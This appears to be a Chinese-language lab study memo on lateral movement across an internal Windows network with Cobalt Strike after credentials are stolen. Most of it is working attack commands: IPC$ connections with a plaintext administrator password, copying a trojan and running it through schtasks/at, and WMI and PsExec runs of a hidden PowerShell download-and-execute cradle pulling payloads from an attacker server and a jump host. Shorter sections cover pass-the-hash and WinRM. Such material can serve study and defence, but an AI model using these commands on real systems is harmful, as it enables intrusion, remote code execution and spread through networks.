内网横向移动学习备忘录
0x00 前言
针对于内网渗透个人理解为信息收集(内部网段的扫描、端口服务、操作系统、补丁更新、域机器及重要业务机器定位、杀毒软件、防火墙策略、密码的规则、内部敏感文档等)然后根据获取到的信息来绘画出内部的网络结构和内网脆弱点从而进行横向渗透。
本篇文章记载了当拿到内网机器的密码或Hash进行横向移动的方式。
0x01 环境介绍
1.1 扩展图
1.2 网络环境
Windows 7 跳版机(192.168.200.222、10.211.66.5)双网卡可出网也可与内网连通。 Windows server 2012 目标靶机(192.168.200.66)不可出网。
1.3 简述
攻击者通过渗透测试拿到主机Win 7(192.168.200.222)的权限并发现可出网,所以上线CS用来权限维持。
前提我们已经抓取到Win 7(192.168.200.222)跳板机的登陆明文凭证,这里是我添加的明文凭证,窃取凭证的方法有很多这里不在赘述参考文章,此篇文章只记录个人在学习内网环境下横向移动的一些笔记。
添加一个 Win 7(192.168.200.222)跳板机的监听器用来做中转会话。
生成木马文件在本地。
Tips:因为Win 2012(192.168.200.66)目标机不出外网所以选择刚添加的中转会话。
0x02 IPC$ && 计划任务
2.1 利用条件
1)没有禁用IPC$连接、139和445端口、未使用防火墙等方式来阻止IPC$。
2)目标机器开启了相关的IPC$服务。
3)需要目标机器的管理员账号和密码(IPC$空连接除外)。
4)需要得知目标机器IP地址并可互相通信。
2.2 利用方式
在 CS 客户端对Win 7(192.168.200.222)会话进行操作。
对 Win 2012(192.168.200.66)目标主机建立共享连接,并查看目标主机共享资源。
beacon> shell net use \\192.168.200.66 /user:administrator "Hacker@1." beacon> shell net view \\192.168.200.66
列出目标主机 C 盘下目录文件。
beacon> shell dir \\192.168.200.66\C$
将CS木马上传到跳板机。
beacon> upload /root/demo.exe (C:\Users\ppbibo\AppData\Local\Temp\demo.exe)
将Win 7(192.168.200.222)跳板机的木马文件copy到Win 2012(192.168.200.66)目标机的C共享盘下。
beacon> shell copy C:\Users\ppbibo\AppData\Local\Temp\demo.exe \\192.168.200.66\C$
远程创建Win 2012(192.168.200.66)目标机计划任务执行木马文件。
beacon> shell schtasks /create /s 192.168.200.66 /u administrator /p "Hacker@1." /sc MINUTE /mo 1 /tn test /tr "C:\\demo.exe"
由于 at 在windows server 2012等新版系统中已被弃用,所以需要使用 schtasks 命令代替。
如果目标机器支持 at 命令,参考如下。
net time \\192.168.200.66at \\192.168.200.66 11:05 c:\demo.exe
成功上线,该会话为被动连接,不操作的不会回连,如果中转机会话断掉,该会话也会断掉。
2.3 IPC 相关的命令
开放/关闭 ipc$ 共享。
net share ipc$net share ipc$ /del
共享计算机 C 盘。
net share C=c:\
查看/删除共享的资源。
net sharenet share C /del
取消IPC远程连接。
net use * /del /y
0x03 WMI
WMI(Windows Management Instrumentation,Windows管理规范)是一项核心的Windows管理技术;用户可以使用WMI管理本地和远程计算机。
3.1 利用条件
1)启动WMI服务(默认开启)。
2)开放135端口。
3.2 利用方式
在 CS 客户端对Win 7(192.168.200.222)会话进行操作。
使用CS生成一个WEB交互式Payload(Scripted Web Delivery)来实现无文件落地上线。
生成的 Payload。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://39.100.x.x:7799/a'))"
在CS 客户端执行 wmic 远程命令。
Tips:因为目标主机不出网所以需要把 http://39.100.x.x:7799/a 上的payload,复制下来并在跳板机开启WEB服务,使受害机下载并执行跳板机上的Payload,上线CS。
跳板机安装了 python 运行如下命令快速开启WEB服务。
beacon> shell python -m SimpleHTTPServer 8080 beacon> shell wmic /node:192.168.200.66/user:administrator /password:Hacker@1. process call create "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))"
成功上线。
在 windows server 2012 验证。
Tips:wmic命令缺点无回显,但是可借助其他脚本(wmiexec.vbs)来实现回显功能。
0X04 PsExec
PsExec是一种轻巧的telnet替代品,可让您在其他系统上执行进程,并为控制台应用程序提供完整的交互性,而无需手动安装客户端软件。
beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. whoami
beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))
Tips:psexec 传递命令时不要添加双引号否则会报 “系统找不到指定的文件” 的错误。
Psexec下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
更多参考:
https://www.itprotoday.com/compute-engines/psexec
4.1 CS Psexec_psh hash传递
凭证窃取中并不是每次都可以获取到明文,会出现只有hash的情况,获取hash同样可以进行横向操作。
因为换了WiFi地址所有IP发生了如下变化。
Windows 7 跳版机(172.16.100.176、10.211.66.5)双网卡可出网也可与内网连通。 Windows server 2012 目标靶机(172.16.100.60)不可出网。
成功上线。
0X05 WINRM
WinRM 指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行,默认监听端口5985(HTTP)&5986 (HTTPS),在2012及以后默认开启。
这里的目标靶机正好是 windows server 2012,运行如下命令查看是否启用了 winrm service 。
winrm enumerate winrm/config/listener
5.1 利用方式
CS自带了一些用于横向移动的功能,可以在目标中选中主机进行攻击。
成功上线。